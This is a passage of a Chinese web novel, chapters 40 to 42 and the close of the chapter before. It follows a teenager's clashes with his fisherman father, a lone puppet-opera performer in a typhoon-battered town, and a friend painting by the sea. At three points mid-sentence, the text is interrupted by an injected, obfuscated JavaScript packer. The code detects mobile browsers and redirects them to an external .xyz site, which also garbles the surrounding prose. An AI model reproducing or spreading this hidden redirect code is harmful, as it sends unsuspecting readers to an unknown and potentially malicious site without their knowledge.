齐怀生露出难以置信的表情：“我让你累死累活了吗？” “操？”齐卫平两眼瞪出深深的皱纹，“你几岁了知道吧？齐怀生，你快十八了，大人了！做事给老子考虑点后果。当初你要是有向然半点听话，去海中，书好好读，现在能有时间搞这玩意儿？” “没完了？”齐怀生一扬手，什么话都往外蹦，“我说了，您老没钱透了，上什么海中？” “嫌没个好爹了是吧？”齐卫平四下看了几眼，捡起破碎的吉他，“我打死你个不争气的！” 陈向然听见“打”，立马从床上翻起来，将房门打开一条缝隙——齐卫平要是真动手了，他得出去拦着。 姑姑当即上去拉人：“唉呀我说你早上咋没出海去呢，合着等着训孩子呢。”姑姑拉着他的手肘要他坐下，齐卫平愣是不动如山，“你俩有事儿好好说，别动手。” “不动手，这小子非给我走歪咯！”齐卫平被夺了吉他，寻不到其它钝器，举起手掌就要扇，被姑姑硬是挡着拉着，没有像骤雨一样落下来。 齐怀生看着高举的手掌，原地一动不动：“你什么时候好好说过话？又什么时候听我说过？” “喜欢弹琴，是吧？琴啊画的全他妈是害人东西，搞得人没人样的，一点不像个学生。你妈怎么死的都给老子忘了？” 提到母亲，齐怀生像是被浇了盆冰水，僵在原地，从头到脚冰凉刺骨。 “你小子也想变成那样？”齐卫平又悲又怒，两眼通红。 那些模糊的过去，石板路上闪过的人影，邻里街坊开合的嘴唇，记忆里交替响起的言语。在脑海里不断闪过无规则的片段。齐怀生站在盛夏的冰窟里，天光映出他瞬间仓皇的眼神，忽明忽暗。 “因为……”他吞咽了一下，颤抖着声音，“因为你们这些人……说她不务正业，不顾家庭，不是个女人该有的样子，说谁娶了她后半辈子倒霉。人两瓣嘴比刀更毒。你他妈就向着外人，要她扔了画笔，逼她变成你们想象中的样子……” 陈向然透过门缝偷偷看着，这对父子发起火来如出一辙，一举一动都那么相似，眉目挺拔，轮廓凌厉，有种在自然乡间——在山中、在浪里长大的野性。因而吵得也凶，各执己见，谁也不愿服软。 齐卫平追上去就要打，父子拉拉扯扯到院子里去了。陈向然看不到他们，打开门，走到能看见齐怀生的角度——齐卫平要拿竹条抽打，才意识到齐怀生早不是那个只能逃窜的崽子了。他抓紧竹条的另一端，用同等的高度与他相互对峙。 姑姑正端着洗好的茶具从厨房里出来：“醒啦，向然。” “嗯。”陈向然伸手要帮忙，姑姑便笑着说：“不用了，我来就好。” 陈向然点点头。 天光渐亮，模糊了视线，齐怀生的身影时而清晰，时而和着光晕。屋里屋外，一方吵闹，一方静好，就好像看着一场家庭闹剧。 “阿生在那边，是不是也这样？”姑姑挑了个话题。 陈向然看着他们又为了只拖鞋僵持不下：“他不这样。”顿了一下，又补一句：“他很冷静。” “是嘛。”姑姑摆放着茶具，瞥一眼齐怀生，“你别见怪啊，他俩就这样，一个德行。吵起来毒得很，故意往对方心窝子里戳。一件事，吵了两年了。” “是齐怀生不上海中的事嘛？”陈向然回头问。 姑姑像是很意外，手里擦拭茶杯，抬头看了他一眼：“噢，他连这事儿都和你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301958|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。唉，钱的事讲究情面，不好借，借了也不容易还。我和他爸说了，阿生的考虑不是没有道理，玩乐器也不耽误他分担家里开支，何必呢，成天认死理。” 陈向然其实有点理解，齐卫平为什么要不停地提起这番旧账。 齐怀生能做出放弃省重点去无名学校的决定，他或许也会做出什么别的决定，更决绝，更彻底，更无可挽回。 他是拴不住的野狼。 奶奶蹒跚着从里屋出来，扶着电视、玻璃柜、门框，在门口蒲扇一甩，大喝一声“够了没”。院子里霎时一片清静。齐卫平扯着齐怀生的衣服，齐怀生反手推挡父亲，就这么原地僵持。 奶奶双目炯炯，瞪着父子俩，炎热的夏日里更像是要在他们身上盯出火来。老人家这辈子饱经风霜，历经人事，为生存将自己武装，家里人都知道她凶起来无可比拟。于是一大一小才老实地放开对方。 连续不断的争吵让陈向然很不舒服，他回到东厢房，轻轻关上门，隔绝那些变得混乱的、不知从何而来的声音。 曾经也有人这么吵着架，相互推搡、殴打，只是他记不清了，他的大脑不允许他记住。 午间的烈阳炙烤着这片土地。远处炊烟袅袅，酱醋、生姜、白菜、川椒等等的香气混杂在一起。天气这样热，姑姑依然在厨房挑勺颠锅，齐卫平在卫生间清洗斗笠上的鱼血和海藻，依然准备离家出海。 但姑姑留他，一家人到底围了顿午餐。 海边的小镇，家常菜都离不开海鲜。焖对虾、煮生蚝、清蒸黑鲷鱼。陈向然想起老家是没有这些的，离海好几里地，小时候吃的菜大部分是自家种的，纯天然的食材。简简单单，蘸上酱料又是另一番风味。酱料是姥姥亲手拌的，那双手比谁都要灵巧，切萝卜、搅鸡蛋，能抡斧子砍柴，也能穿针引线。会摸着他的头夸奖他，也会一遍又一遍地把他从村里任何地方抱回家。 隔了太久，陈向然快要忘记姥姥长什么样子，也再想不起她怀里的温度，却能在饭桌热腾腾的烟气、在酱料的清香中捡到那么一点点小时候的温存，想起夏日午间轻摇的蒲扇，和旧窗棂前轻柔的微风 陈向然沉浸在美食和回忆里，直到眼前飘来一片阴影。 他拍开齐怀生的手：“干嘛？” “刚才怎么了？”齐怀生蹙起眉来总是很凶的样子。陈向然瑟缩了一下。 “没怎么啊。” “幻听没有改善吗？”齐怀生凑近了，说话的气流萦绕在耳廓上，“从回家开始，我就没见你吃药。” “吃了。刚刚是……药的副作用。”陈向然左瞄右瞥，不敢看他，“现在好了。” 齐怀生将信将疑，定定地注视了他一会，才转过头继续吃饭，没有再问下去。 “你们俩，别说悄悄话了，快吃。”姑姑站起来，给两人都夹了对虾，“阿平，在外海都吃些什么啊？有营养没？” “放心，能饱。”齐卫平敷衍着，扒了两口饭。 “那就是没营养。”姑姑气呼呼地给他夹了鱼肉，“出去干力气活，吃的别苦了自己。” 陈向然悄悄瞟了一眼齐卫平，他没有说话，右手执筷，左手在胃腹上揉了一下。 “今天不许去。”齐怀生埋头盯着碗里的饭，冷不丁来一句。 “臭小子少管。”齐卫平说。 “那以后你也别想我听你的。”齐怀生往嘴里塞了一个巨大的生蚝。 齐卫平憋了口气，筷子“啪”地放在桌上，扭头指着儿子：“你几时听过我话？好好读书，现在……” 又开始了。齐怀生像是不想争论，一句都不再说了。桌上的气氛自此变得冷淡，陈向然看到奶奶的脸都拉下来了。 齐卫平还是踏出了家门。 顶着亮白刺目的阳光，戴上斗笠，钻进一片蝉鸣声。陈向然到院子里送他，就听见齐怀生冲上来狠骂了两句。 这个父亲一句都没有回嘴，安安静静地离开了，只留给他一个背影。 那么决绝，像是不会再回来一般。 40. 看戏 齐卫平一去就是一整天，从白天到黑夜。前脚刚走，后脚就下起了暴雨。 今年的台风以千军万马之势从福建沿海地区登陆，同往年一般穿越省界向粤东疾驰，与塘泽镇擦肩而过，碰撞笔架山，绕行潮汕地区，转而南下，从韩江出海口附近回归大海。 照齐卫平说的，暴雨天鱼群聚集浅海，应当是捕鱼的好时候，有时能捞上稀有品种。但齐怀生骂骂咧咧，说臭老头要是翻了船没人给他收尸。 陈向然发现这儿人爱说重话，大街小巷邻里邻家动不动就是“他妈”二字，夹杂当地方言的口音，透着股原始气息。大家伙一边冒着粗口，一边上人家家里帮抗点东西，相互看看小孩。 这样的地方难免滋生长舌之言。陈向然懂得齐怀生的母亲，学艺术，心在天地红蓝，在一笔一划之中，在绚丽的缤纷的世界。相比之下生活就是一滩烂泥，让人不断地陷进去又爬出来，是一把随时可能落下的刀。 肮脏与温暖永远共存。而逆人潮而行的结果……齐怀生的母亲貌似给了第一个答案。 绝路。 脑袋突然被叩一下。 “发什么呆？”齐怀生的脸倏地出现在眼前。 “嗯……”陈向然摸摸后脑勺，吞吞吐吐，“你……那天说，要带我去看什么来着？” “木偶戏啊？”齐怀生看着外头乌云翻滚的天，随着一道闪电晃过，猝不及防“轰隆”一声，大雨如珠玉倾盆，砸落屋顶两片灰瓦，发出破碎的脆响。 “好像，戏班也唱不了了……”陈向然尴尬地笑笑。 “等雨停。”齐怀生说，“台风没到咱这来，过两天就能去了。” 台风剩了个尾巴，接连下了好几天雨，周末终于放晴。迈出院落，随处可见弯折的树木和碎裂的瓦片。家门口的树苗被连根拔起，奄奄一息倚靠院墙，将几枝四季桂压进砖缝里。只有中心广场的巨榕，挺拔而坚韧地矗立在一片狼藉中。 木偶戏台就支立在巨榕树下。 台前四尺之高，台后一丈见方。边上有个男生，人高马大的，绕着戏台忙前忙后。陈向然四处张望，除了路过驻足的小孩，不见其他人。便问齐怀生：“戏班呢？” 齐怀生看他一眼：“早散了。” “还在镇上么？” “进大城市，或者下南洋寻宗族去了。”他说，“你看见那边没有？” 陈向然顺着他的指向看去——港湾水畔，渔船高高立着杆儿，杆上挂着钩，一只一只整齐排开。陈向然去过那头，岸上全是电子秤和滑溜溜的鱼堆，渔民戴着斗笠，用长钩翻拣框里的鱼，任客户挑选。就距离那买卖场一百米开外，有一个工地。 齐怀生背对着海湾，低头打亮火机。不知什么时候他嘴里就叼了根烟。 他吐出一串烟圈：“开始建旅游区了。” 听到这里，陈向然就明白了。 哪里都逃不开繁华。城市化的脚步走到哪里，哪里就要接受被推着赶着迁移奔波的命运。有人喜滋滋地拨数金额，远走高飞。却也有人寿尽而归，最后的心愿是在故乡的土地上长眠。 他没有阻止齐怀生抽烟。他能明白个中滋味。 “没有戏班，那咱们听什么呢？” “你等着那位哥出绝活吧。”齐怀生朝支戏台的男生扬扬下巴，“他就是我跟你说的，改编《四郎探母》的那个邻居，叫黎斯。好家伙，一人能顶一个班。” “现在没什么人听这些了吧。”陈向然心里冒出些失落来，“不是赚钱行当了，他为什么还唱？” 天虽是晴的，有时也有两朵阴云飘过，落下浅淡的、薄薄的云影。齐怀生吐烟雾的时候总是转过头，不对着他。灰影散去，他在光线下眯起眼。 “赚是能赚点，不多。这世上，总还有人坚持点什么东西，对吧？”他看向陈向然，阳光正好在他眼里流转，像是不经意地，流露出少见的温润和柔和，“像你一样。” 陈向然一眼望进他目光深处。 他也不知道自己在坚持什么，他仍在寻找这样的东西。但他又隐隐感到，这个东西或许并不存在于此刻的现实。 戏台边驻足的小孩慢慢多了。十几岁的足够高，正好趴上戏台边缘，四五岁的缠着兄姐抱举到台前。木偶嘎吱一动，孩子们就欢呼起来，争先触摸木偶的手脚、服装、脸谱。台下几张长凳却几乎空空如也，只坐了两位看管孩子的长者。 他拉着齐怀生坐在一张长凳上，却伸着脖子，长颈鹿一样摇摆，想看得更清楚些…… 但他懒得与小孩子为伍。 “不去前面看看？”齐怀生语气里带着轻微的调侃，牵过他的手，“来，摸一下木偶，难得来一次。” 陈向然忽觉手背一热，被牵引到戏台前。齐怀生发挥他痞老大的性子，毫不客气地驱赶了几个小屁孩，把他的手抓到木偶身上。 陈向然好奇地触摸。水袖陈旧而透明，拂过他的手背，也拂过齐怀生的手。齐怀生揉搓着戏服的用料，沉吟了一会，嘀咕道：“这材料……没有以前的好了。” 台后锣板铿锵，前奏响起，杨四郎的小人偶身着番邦旗装，红衣金纹，髯须微晃。脸谱被岁月削褪了颜色，仍能看出当年勾画的传神。叫做黎斯的男生在台后唱出了第一句老生腔。陈向然听出是“别亲”一折，祭祖仪式常用的戏曲片段。 鼓闹弦吟，荒腔走板。戏到中段台下只剩下他们两个观众。黎斯的老生本嗓浑然有力，陈向然听来又缺了些意思。齐怀生说，他本擅长小生行当的。 “小生啊……”陈向然说着，伴着台上咿咿呀呀的戏腔和咚咚锵锵的节奏，“可这戏的主角，没有小生吧？” “他是全能型的，工小生，也兼唱其它角色。班主很看好他，都好多年前的事了。”齐怀生望着戏台，目光流转一丝眷恋，“你嘞？你家那边有这些么？” “我家啊，都是真人戏。”陈向然说，“逢年过节会请人来唱，热闹。我姥爷在闽南某个镇的戏班待过，给演员画脸的。姥姥是潮汕人，唱潮剧花衫旦。那时候戏班总是在闽粤这带来回走，他们因为戏曲结缘，听上去也像一段佳话。” “结缘以后呢？” “就破四.旧了，抓人了。我姥带着我妈、我舅好几个孩子，进厂上班去了。”陈向然笑笑。 佘太君见子、别子，泪洒衣襟。这边木偶一动，杨四郎便被放置一旁。黎斯一人两手，施展不了章鱼功。 齐怀生说得对，黎斯的旦唱不出味道来。那台录音机太老、太旧，磕磕巴巴的杂音几乎盖过了伴奏，录音声响微弱，就显得黎斯的唱腔干巴巴的，在幕后独自吟唱，有些无所凭依的孤独感。 “我爸，他以前也唱戏，”齐怀生忽而提起，“给戏班伴奏。从我妈生下我之后，他就放弃了，出海捕鱼了。”他说着悄悄掏了根烟，被陈向然摁住了，他看着陈向然的眼睛，又移开目光。 声音再度沉进谷底：“他是真爱这行当，一闲着就会去听两曲，手指都跟着打节奏。” “所以我不理解，他指责这些东西没用，害人，但他曾经也很宝贝这些。” “嗯。”陈向然摁着他的手说，“也许坚持有时候也是没有意义的。所以很多人，随着长大都在逐渐放弃。” 齐怀生缓缓看向他。 恍惚间回到十年前，母亲投身风浪的那段暗无天日的时光。那时候她也反复地念叨，坚持是没有意义的，理想是没有意义的，人生本身也是没有意义的。 他隐隐地不安，不由得搂了一下身边的人。陈向然那么轻，那么瘦，好像随时会被一阵风刮走。他担心这条轻飘飘的生命，哪一天就从身边无声无息地消失了。 “阿生？” 戏曲忽然停止。有人在戏台后方呼唤他的小名。齐怀生抬起头，黎斯一身烂边开线的旧衣衫，掀起后台的帘子，他身形矫健，倏地从台上跳下来，重重落在地上，没有丝毫摇晃：“放假啦阿生。这位是朋友么？” “嗯。”他指着男生跟陈向然介绍：“喏，黎斯哥。” 陈向然朝他看去，礼貌地点点头。 黎斯倒也一副想象中邻家哥哥的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301959|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模样，灰白相间的条纹衬衫敞着衣襟，袖子高高卷起，露出肩头。里面衬着的白色汗衫已经烂了领子。咖啡色休闲裤被洗濯得褪了色。他身量很高，快和齐怀生一样高，但不及齐怀生那么瘦。大概也是个年轻渔民，早晨刚从海上回来，因此下巴上有斗笠的勒痕。但皮肤竟没有被夏天毒辣的太阳烤黑，而是红润偏白的色调。 最瞩目的是那双眼睛，像月光下的夜海。 “好久不见啊。昨天刚在海边看到你爸。”他到台前把卷折的帘子舒展开。 齐怀生暗暗翻白眼：“他爱在哪儿在哪儿。” “又怄气呢？”黎斯笑，“你爸老大年纪还是跟年轻人似的。” 齐怀生看着眼前的旧戏台，帘布又皱又卷，得拿石头压着。顶部的雨棚边缘都扯烂了，还有缝补的痕迹。 他偶然想到，除了吵架和吃饭，有多久没和父亲长久地相处了。他是老大年纪，还是像个年轻人，齐怀生来不及看清，齐卫平就又捞起沉重的渔网，留给他一个远去的背影。 齐怀生岔开话题：“你呢？在这儿当上班主了？” 黎斯眼里灰暗，像台风天刚过的天空一样。他回头注视戏台：“没有戏班了，还提什么班主。你刚说衣服材质不一样了，因为是拜托阿灵做的，她也才上高一，她姥不做了，她找不到太好的材料。” 戏台边有个小孩扯破了木偶的水袖，又恰好听到他们聊服装，其他人也像做错了事一样小心翼翼偷瞄他们。两方面面相觑，小孩们同时害怕起来，呼啦一下全跑光了。 齐怀生一挑眉：“把袖子补补？” 黎斯笑笑，笑容似春风和煦：“不用，不影响演出。” “就你一人？” “他们都有事儿，不常来。” “小弟呢？就他最粘你了。”齐怀生说。 黎斯微愣，片刻后转身轻叹，装作没听见这问题，钻进后台，端起三根操纵杆。木偶舞动摇摆，灵动生趣。 又一折唱罢，两人零零星星响起掌声。黎斯放下杆子，来到台下，坐在齐怀生身边。 他叼了根烟，也不知道什么时候点上的，夹在指间，唇缝处飘出白雾。齐怀生深深吸了一口二手烟。 齐怀生说：“唱挺好。” “我唱的没意思。”黎斯的眉梢柔和地弯出笑意，却又抽了一口烟，“咱们的女老生和男旦都不在啊。” “所以他们去哪了？阿淳她快高考了吧？”齐怀生只提起这位“女老生”，刻意避开了关于“小弟”的话题。 起风了，巨榕沙沙落下几片青翠的落叶。 镇上的宗族祠堂零星环绕广场四周，前几天经过暴雨冲刷，那些被沿海潮湿气候腐蚀过的漆皮大片地掉落——有人立着人字梯在做修缮。傍晚的风带来淡淡的香炉烟气，也牵来几片路过的云彩，在少年的眉梢落下阴影。 黎斯沉默地抽着烟。他似乎不喜欢抽剩短短一截烟头，一根烟抽去三分之二就碾灭丢弃了。他从刚才就像是有话要说，只是一时不知从何说起。唱完一折戏，酝酿到现在，才打算说出来。 “他进城了。去江洲上学。”黎斯笑着，眼底在树荫下，“听说成绩很好，可能会考上附中。” “上学，那就考完回来呗。” “还回来干什么？” 齐怀生“呵”了一声，像是不屑：“回家天经地义。” 黎斯自嘲地笑笑，摇头说：“要是你发小、你兄弟朋友，有前途可走，你还想他回这种小地方么？”他又掏出两根烟，给齐怀生递了一根。后者看了一眼陈向然，摆摆手，没接，“他本来就爱跟着我，总说他不进城，要一辈子留镇上，跟我一起守着几台戏。万一真回来了不走了。我会生我自己的气。” 他顿口不言，深深吸了一口，入肺回转，残余的烟雾从唇边飘出。 陈向然默默地盯着戏台，听他俩一来一往的谈话。 齐怀生说，总有人这辈子还坚持着什么。但这种坚持到了发小、兄弟、朋友，又或是喜欢的人身上……他想，这个问题没有解答。 41. 父亲 黎斯一番话，像是为他在黑暗中撕开一道裂缝，陈向然仿佛在荆棘地里望见一条曲折的出路。只是仍旧在一团杂乱的困囚中，不知自己一直揣着某种至死方休的倔强，不知这是人生中必然的两难选择。 他不知怎的，想起严霖辉对他“两头不着”的评价。 黎斯说完，吐出一口烟雾，丝丝缕缕中隐现着线条分明的侧脸。陈向然捕捉到他刹那间的感伤，仅仅很小的瞬间，他又轻轻松松地站起来，嘴里叼着第二根烟。 “收摊收摊，今天就练到这。”黎斯弯下腰，掸掸裤子上的烟灰，“阿生，有机会替我问问你爸。” “没机会。”齐怀生张口就是嘴硬，被陈向然拧了手上的肉，吃痛地吸一口冷气。 黎斯显然习惯了他这副不冷不热、软硬不吃的模样，只是笑了一声，把戏台幕布，和两边的垂联一一取下来，掸去树叶和飞虫，卷成卷，收进麻袋里。麻袋也像是用了很多年了，许是放在祠堂深处不见阳光的缘故，受了潮气，有些泛黄，还蹭了些棕黑色的铁锈。 “问问中元节几点开唱。”黎斯把袋口一提，里面的布料沙沙地响，“还是要唱一整天？” “嗯。”齐怀生勉勉强强地老实下来，“节前不一定能看见他。” “能看见。”黎斯说，“你不知道么？他每年都亲手操办这些仪式。你姑不懂流程，都是他在弄。” 齐怀生抬眼看他。 倏然一笑：“别逗了，老家伙天天在海上漂。” “他不休息，从海上回来就操心别的事。”黎斯抱下一只木偶，扶正歪斜的头冠，“噢，他可能没空回家，你不知道也正常。” 齐怀生不说话了。 阳光渐渐晃眼。他在晕眩中仿佛看见昔日熙攘的戏台，大人叫好，小儿嬉戏。父亲的身影淹没在人潮中——他坐在长凳上，手指敲着大腿，身边是欢呼鼓掌的街坊。他是戏痴，听戏不许人打扰。因而把四五岁的齐怀生扔在戏台前，头也不回地走进观戏的人群。齐怀生被年长的孩子推挤，被迫远离戏台。于是穿过人头攒动的现场，倔强不平地盯着齐卫平，愤愤朝他扔了一颗小石子。 向母亲告状，这位母亲非但不心疼，反倒咯咯笑，笑声如清水流泉、百灵咿咿。 原谅一下爸爸，她这么说，人有一件一辈子不能舍弃的事，是很难得的。 母亲说他爱戏，年轻时给戏班伴奏，偶一开嗓，那声音是透亮的、干净的。人也是白净净的。小生人唱小生嗓，戏外人如曲中人。提起父亲的艺术细胞，母亲的脸上就洋溢着幸福，说当初就是这么看上他的。谢幕的时候，他提着一只木偶，或一把琵琶，视线似有若无地朝她这边瞥来。母亲说他可爱，在太阳底下，脸总是红扑扑的。 现在不唱了，他忙，广场也很少去。只是偶尔听闻什么喜事——也许就是多卖出了几条肥美的马鲛鲳，一高兴一拍大腿，戏瘾就来了。大晚上“噔噔”循着白亮的照明灯，跑去听了一场。 “你爸爸一坐在戏台下面，好像又回到年轻的时候。”母亲是这么说的，那时齐怀生没有发现，她的笑容里已经掺杂了酸苦，“他现在变了个人，就是希望你好好读书，寻条出路。” 但他却逼得母亲没有出路。齐怀生一直这么认为。 一面对父亲，他就憋着股委屈劲。他不轻易发作——他这个吃穿用度都由父亲撑着的儿子不能没了良心。他这样的人注定要早早明白那些道不出的苦楚。可良心和委屈成天地打架，谁也没有胜出过。 他忍不住拐着弯问：“他有这时间，不得抽空来听你唱戏？” “他一场没听。”黎斯说，“反正从我进戏班，我是没见过。” 黎斯进戏班，正好是十年前，母亲去世的那一年。 他心里想到些什么，撇撇嘴，别别扭扭的，不愿再顺着聊下去。 于是岔开话题：“你怎么样？” “什么？” “考试。” “考完了。” “我不是指期末。”齐怀生走过去帮着他收拾——回头招手，示意陈向然也一起来，“高考。” “能考哪考哪，说不定……也没必要考了。你看咱镇上，能有几个会读书的？”黎斯挥挥手臂，指向长兴街的家家户户，“你不一样了，隔壁县市的高中，好好读书，考个好大学。” 世界的参差有时就是这么难以想象。一些人看来“没救”的人生，也有人渴求不得。 陈向然帮忙拆了戏台，抱了根八尺高的木杆，摇摇晃晃地放在地上。没放稳，木杆骨碌碌顺着凹凸不平的地面坡度滚出去，他忙不迭追上去，齐怀生替他一脚挡住了。 陈向然从远处追来，趁机拍拍他的臂膀，小声揶揄：“听见了吧？好好读书。” 齐怀生把木杆踢回给他，不情不愿地“嗯”了一声。 黎斯将戏台支架捆扎起来，和麻袋一起，在一地砂砾上“沙沙”拖着，收进祠堂角落。出来时，唇边再次叼上一根还没有点燃的香烟，只身迈步在长兴街里。顶着烈阳，身后拖下长长的暗影，消失在拐角处一根电线杆后。 剩下他们二人仍在巨榕下坐着。无人在旁，两人不知不觉靠近了，小心翼翼地挨着，像暖阳下两只相互舔舐的猫儿。 几声鸟鸣啁啾，风在树冠缝隙间自由穿梭，拨动绿叶，发出簌簌的声音。 “你觉得呢？”齐怀生的声音在这些杂音中脱出，笼罩在耳旁。 “什么？” “兄弟、朋友，或者什么人，为了奔前途，奔生活，跟你再也不见。”他顿了一顿，“觉得可惜吗？” 陈向然垂着眸，柔软的刘海轻轻飘着。他不知道齐怀生为什么突然问起这个。 “你有什么朋友——” “没什么，就是问问。”齐怀生说，“你可以不回答我。” 说起最好的朋友，陈向然想到了程希。 那人总是嘻嘻哈哈、糊里糊涂的，够仗义，也有细心的一面。他总有一天要远走，要去国外学习美术。按照他的说法，就是混个好学校，镀了金后再回国工作。 当然，齐怀生也是很好的朋友，但总觉得是不一样的。他和任何人都不一样。 “让对方选择。”陈向然说，“然后尊重他。” “这样。”齐怀生越过他望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301960|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向远方，提提嘴角，“我和黎哥相反，因为……我不喜欢离别。” 陈向然一瞬间以为他在思念母亲，但顺着他的目光而去——望向遥远的、浩渺的、无边无际的大海，感到那种无所凭依、随波逐流的漂游感，就明白了。 他在想齐卫平。 齐怀生貌似在一个截然相反的世界里，其实又和自己那么相似。一个空荡荡的、窗帘常年不拉开的住所，只有纱帘飘动时在地板上投下柔白的光；夜幕低垂时一个人走在明暗交错的路灯下，低头看着影子时长时短。 这样的两个人，这样的年少时光阴差阳错地重叠在一起，像两幅单调而残缺的画，生涩又忙乱地弥补对方的色彩。 但心里总有某种东西不可替代，一种针锋相对、相互折磨、却又谁也不能抛弃谁的情感。就如他和林岚，齐怀生和齐卫平。 他想，也许齐卫平每一次回家与离家之间，齐怀生都在经历离别。 因此他最不愿经受身边人离他远去，不再回来。 齐怀生的妈妈有一个画架，放在杂物间的最深处——挨着一把弯折的、爬了螨虫的琵琶。不知谁给套了个巨大的塑料袋遮挡灰尘。十年了，这十年里齐卫平不让他碰，哪知他压根没想画画，而是继承了他那点音乐细胞，转而端起了吉他。 齐怀生宝贝似的，让这画架重新见了光亮。庭院里的石板地面没干透，凹凸起伏，积攒了一个个小水洼。齐怀生挑了块干燥地方，立起画架。画架是浅浅的原木色，表面有些老化，风一吹，掉了一地木屑。 陈向然许多天没碰画，见到画架，眼都直了。没来得及摸上，就被齐怀生牵走了，带到后院。 “有件事拜托你。”齐怀生说。 后院的墙有块显眼的白色，重新刷过漆。但风吹日晒的，油漆后面的痕迹若隐若现。陈向然认出零星的花瓣，那是向日葵、青草、夕阳、远山……浓烈的金黄、火红交融成画者昔日的轻狂。 “我妈刚结婚时画的，被老家伙刷掉了。”齐怀生摸着墙面，沾了一手灰，“你能把它再画出来吗？” 陈向然时而半蹲时而站立，用手扫去一些灰，也看不清大部分线条。齐卫平也不知带着什么心情，将画刷得如此彻底。经年之后白漆和油彩合而为一，被风霜残忍地剥落。 他近看远观，最终摇头：“恐怕不行了。” 齐怀生微微张口，像是要说什么，又憋了回去，只是点点头。 瓦檐在他额间投下阴影。天色黯淡，阴云再度经过小镇上空，向海上翻卷而去。南方沿海的夏季躲不过疾风暴雨，不多时日又要来临。陈向然微仰首，看着齐怀生被冰冷苍白的天光映出棱角分明的轮廓。 也许是光线的原因，陈向然觉得这个轮廓很落寞，冷硬而沉重。他害怕让别人失望，尤其害怕让齐怀生失望。 “我可以……给你画别的。”他拉拉齐怀生的衣摆。 齐怀生沉浸在缅怀的情绪里，被他的声音抽出。看他难过的样子，仿佛是他失去亲人一样。心里觉得好笑：“好啊，你要给我画什么？” 陈向然神秘地卖个关子：“明天就知道了。” 42. 踏浪 天空布满阴云，海上起了浓雾。 白蒙蒙的一片，只见渔船缥缈的影子幽灵一样穿行。云层越来越厚，挤压成团，严严实实遮住了太阳，眼看着要下雨。 陈向然用上齐怀生妈妈的旧画架，支在浅滩上，挂上画布。白浪哗哗地涌来又退去，冲刷着支架下端，和陈向然的脚。 放颜料的高脚凳是齐怀生背出来的，出门前还搜来两支多余的笔，从齐卫平的房间偷了快凝结成块的旧颜料，还要给他戴上姑姑的女式贝雷帽。 “写生就要有写生的样子。”齐怀生理直气壮。 陈向然莞尔，继穿上齐怀生宽松的灯笼裤和格子衫后，婉拒了那顶闷热的帽子。 海风猎猎刮来，头发稀松地扬在风里。画布展开，四角固定在画架上，纸面微微波动。 身后堤坝大约有七八米高，坝上延伸一条小路，再远些就是他们追逐过的荒草地。今日的天太暗，云太沉，沿着坝向西，长堤尽头，灯塔少有地在白天亮起明黄的灯光。明灯下是塘泽渔民的港湾，沿岸停满渔船。渔网、锚钩、麻绳、塑料筐，还有残留的鱼的血水，眼花缭乱地沿着海岸线铺开。船只随着水浪，晃晃悠悠地起伏。 海滩上大大小小的孩子三五成群，踢着海浪尖叫嬉闹。在这一带，这样的天气出门玩耍是不被允许的，但这些孩子混水里、土里长大，不惧风浪，轻易便躲过父母的视线，回到他们熟悉的天地。 齐怀生甩去人字拖——两只拖鞋一正一反戳在沙滩里。他踢着不断卷来又不断褪去的潮汐，把裤脚卷得更高一些。 “你有没有想过，以后，想用你的画技做什么？”他忽然问。 陈向然踩在湿润的沙滩上，耳边充斥着潮水的轰鸣。 他舞动鬃毛笔，在调色盘上搅动颜料：“我只想赚够一些钱，到石川山顶买个房子。每天去庙旁敲敲钟。”他笑了一声，像是开了一个乐呵的玩笑。 “怎么赚？” “可能做绘画视频，或者卖画，借我老师的人脉办办画展。也可能办工作室，为别人画画、做设计。但是做设计太不自由了，所以我不会做太久。” “很不错的想法。” “你呢？” “我？街头作曲家。”他开怀一笑，不多会儿便不笑了，望向伫立海岸的大礁石——礁石那头是港口——潮水拍打在上面，浪花千层之高，“我啊，能为家里做点什么，就是最大的心愿。当然，不能舍弃的事，就是不能舍弃。” “街头作曲家”从来只是个玩笑一般。陈向然想起他那把吉他，被割了弦，裂了外壳，怕是再难修复。齐怀生近来一直把他放在一边，不知不觉，已不再当宝贝似的不离身。 “不，”陈向然冲他吐吐舌尖，“你要好好读书。” “你不想让我选择，然后尊重我吗？”齐怀生故意揶揄他。 “那你不想离别，还是让叶知离开你们，为了一个所谓的好前途咯。” 陈向然这只花蝴蝶，又一次隐藏在百花丛中，让人听不出是玩笑或是认真。 “她聪明，有家境加持，以后会不一样的。”齐怀生把一个螺壳踢回海里，眼帘一瞬低垂。 “你也很聪明。”陈向然不看他，只盯着眼前一块小小的作画区域。，“为什么不是你呢？” 他没有听见回答。 